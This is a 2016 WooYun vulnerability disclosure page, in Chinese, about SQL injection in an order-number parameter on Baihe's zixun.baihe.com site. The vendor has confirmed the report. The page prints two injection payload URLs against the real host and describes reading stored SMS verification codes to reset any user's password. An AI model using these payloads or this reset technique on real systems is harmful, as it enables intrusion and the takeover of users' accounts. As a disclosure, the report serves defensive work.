当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170741

漏洞标题:百合网某站SQL注射漏洞(泄露验证码导致任意用户密码重置)

相关厂商:百合网

漏洞作者: 专业种田

提交时间:2016-01-18 08:46

修复时间:2016-03-05 09:52

公开时间:2016-03-05 09:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-18: 细节已通知厂商并且等待厂商处理中
2016-01-21: 厂商已经确认,细节仅向厂商公开
2016-01-31: 细节向核心白帽子及相关领域专家公开
2016-02-10: 细节向普通白帽子公开
2016-02-20: 细节向实习白帽子公开
2016-03-05: 细节向公众公开

简要描述:

RT

详细说明:

百合情感学院 订单处sql注射漏洞!zixun.baihe.com

Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://zixun.baihe.com:80/index.php?g=course&m=pcindex&a=paysignup&order_no=BHMYKC20160117232605852') AND 1129=1129 AND ('PDfa'='PDfa
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: http://zixun.baihe.com:80/index.php?g=course&m=pcindex&a=paysignup&order_no=BHMYKC20160117232605852');(SELECT * FROM (SELECT(SLEEP(5)))QJzp)#


baihe1003.png


其实有后台的,但没看出来是哪个表存管理员密码,也没尝试获取所有表结构!
看到其中有sms sms_log表,然后网站上又有找回密码的功能,所以验证了一下该表存放的是短信验证码,这样可以通过短信重置任意帐号的密码!

baihe1004.png

漏洞证明:

以此证明危害

baihe1001.png

baihe1002.png

修复方案:

sql过滤

版权声明:转载请注明来源 专业种田@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-21 12:36

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-18 08:49 | Aasron ( 普通白帽子 | Rank:215 漏洞数:59 | 工欲善其事,必先利其器)

    6

  2. 2016-01-18 08:59 | 高小厨 认证白帽子 ( 普通白帽子 | Rank:904 漏洞数:82 | 不会吹牛的小二不是好厨子!)

    有相中的妹子么

  3. 2016-01-18 09:02 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1587 漏洞数:202 | 没有最专业的农民,只有更努力地耕耘..........)

    @高小厨 拿去挑吧

  4. 2016-01-18 09:30 | ago ( 普通白帽子 | Rank:548 漏洞数:96 | long long ago,I'm an angry bird.)

    今天我去百合网相亲啦 怎么样,有收获没 有,我找到他们的bug啦

  5. 2016-01-18 11:33 | von ( 路人 | Rank:4 漏洞数:3 | 一个帅字贯穿了我的一生~)

    哈哈,肯定又是想去百合网找妹纸~~